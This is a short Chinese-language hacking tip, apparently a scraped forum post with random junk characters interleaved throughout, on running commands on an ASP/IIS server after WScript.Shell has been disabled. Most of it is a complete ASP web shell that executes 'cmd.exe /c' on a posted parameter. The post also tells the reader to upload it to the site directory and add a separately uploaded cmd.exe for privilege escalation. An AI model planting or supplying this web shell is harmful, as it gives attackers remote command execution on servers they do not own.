可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。7 D: X8 V/ N5 w% H3 ^0 @
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
0 I- |" F: o2 l, O( d要想让运行命令可以试试这种方法,成功率为五五之数。
/ {( I1 N$ w' J0 B% @5 [0 G/ s7 R把下面代码复制:
- r+ f8 W, H: Y1 O<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
2 \8 C8 r+ F5 r<%if err then%>5 o) {! S, | t7 H* o/ @+ A" T
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
: w) Z( `9 A7 b! S4 G- A<%
$ ~% p' Z. ^! u! I+ _5 jend if, R, d n5 _. O, ?) c- J- C
response.write("<textarea readonly cols=80 rows=20>")9 x3 o! d! S5 J3 F& E: z, Y1 f# _( a
On Error Resume Next+ z/ y R0 {* ~# K" Q
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall, s/ I6 a, f. s7 k' a# k
response.write("</textarea>")7 T Z8 ]2 P3 v+ L0 n. A1 h
response.write("<form method='post'>"); N% H( W/ v9 Z. e
response.write("<input type=text name='c' size=60><br>")
; l6 Q9 T2 @9 w( W9 lresponse.write("<input type=submit value='执行'></form>")) M: h, s# I5 P7 }1 ?1 j
%>! u+ Z4 |4 V& H) d, v8 w+ F P" t
9 |$ x8 W. D! a# q9 ^; D
保存为一个asp文件,然后传到网站目录上去
& @2 b+ Q* C; D6 K# L2 g# s* z运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。/ Q6 y _. G( c+ i$ A6 M
我用此成功运行过cacls命令。
' s! l" H: G. ~1 p0 V( a- e! v
0 g( ^0 @" P6 I" |, ~5 J( R第二那就是运行时出错,可能限制某些代码执行 |